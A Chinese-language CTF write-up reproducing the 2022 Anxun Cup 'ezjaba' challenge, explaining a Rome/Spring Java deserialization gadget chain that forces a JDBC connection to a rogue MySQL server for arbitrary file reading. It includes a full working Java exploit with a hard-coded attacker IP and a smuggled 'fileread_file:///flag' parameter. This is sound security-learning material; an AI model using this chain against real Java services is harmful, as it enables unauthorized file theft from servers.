【Web】记录2022安洵杯ezjaba题目复现——JDBC attack
目录
前言
复现环境:GitHub - D0g3-Lab/i-SOON_CTF_2022: 2022 第五届安洵杯 题目环境/源码
Docker记得换镜像源,之前那个好像没有了(
这题考的是Rome打JDBC attack(Mysql任意文件读取)
参考文章:从BlackHat来看JDBC Attack - FreeBuf网络安全行业门户
简单分析
step0
反序列化入口在/read路由下,有一段这样的处理
String name = objectInputStream.readUTF();
:从输入流中读取一个UTF-8编码的字符串赋值给变量name。
int year = objectInputStream.readInt();
:从输入流中读取一个整数赋值给变量year。
我们需要在序列化时对应加上对应内容,以过掉if判断,最后走到readObject
objectOutputStream.writeUTF("axb");
:使用writeUTF
方法将字符串 "axb" 写入ObjectOutputStream
中,该方法会将字符串以特定格式写入流中。
objectOutputStream.writeInt(2022);
:使用writeInt
方法将整数 2022 写入ObjectOutputStream
中,以二进制形式写入流中。
step1 确定攻击点
先扫一眼pom依赖
有spring,rome和mysql&pgsql🤔
若JDBC连接的URL被攻击者控制,就可以让其指向恶意的MySQL服务器,完成JDBC attack
我们来看Database#getConnection
getConnection通过拼接生成了一个JDBC连接串,之后将这个url
传入了JdbcUtils.filterJdbcUrl
方法中进行过滤
限制了必须连接mysql,并ban掉了autoDeserialize和allowLoadLocalInfile属性
autoDeserialize
:当该属性设置为 True 时,表示MySQL将自动反序列化从Python发送到MySQL服务器的数据。这在某些情况下可能很有用,例如在使用ORM(对象关系映射)框架时。
allowLoadLocalInfile
:当该属性设置为 True 时,表示允许从本地文件加载数据到MySQL服务器中。这个选项默认是禁用的,因为允许从本地文件加载数据可能会有安全风险,可以被滥用来进行恶意操作。
反序列化是走不通了,但不代表不能任意文件读取,像下面这篇文章的Mysql 任意文件读取姿势就不需要开启allowLoadLocalInfile也能打通
从BlackHat来看JDBC Attack - FreeBuf网络安全行业门户
那我们最后的目的就是要走到Database#getConnection,完成JDBC attack
step2 利用链构造
结合Rome依赖,不难想到可以利用toStringBean#toString来调getter,最后走到Database#getConnection
看一下ban了哪些
主要关注toString触发点,ban了CC5的BadAttributeValueExpException还有EqualsBean
考虑到Spring依赖,自然就会想到HotSwappableTargetSource利用链
HashMap.readObject->HashMap.putVal->HotSwappableTargetSource.equals->XString.equals->ToStringBean.toString->Database.getConnection
过于简单,不作赘述
参考文章:【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客
EXP
package com.example.ezjaba.exp;
import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class EXP {
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
//反射设置属性值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(String[] args) {
try {
Database database = new Database();
database.setDatabase("mysql");
database.setHots("124.222.136.33");
database.setUsername("fileread_file:///flag&maxAllowedPacket=655360");
database.setPassword("root");
ToStringBean toStringBean = new ToStringBean(Database.class, database);
//反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("axb");
objectOutputStream.writeInt(2022);
objectOutputStream.writeObject(s);
byte[] bytes = byteArrayOutputStream.toByteArray();
String s1 = Base64.getEncoder().encodeToString(bytes);
System.out.println(s1);
} catch (Exception e) {
e.printStackTrace();
}
}
}
因为DataBase的端口写死了是5432,所以我们要改一下MySQL_Fake_Server的端口(3306=>5432)
url编码一次后提交
成功读到文件
更多推荐
所有评论(0)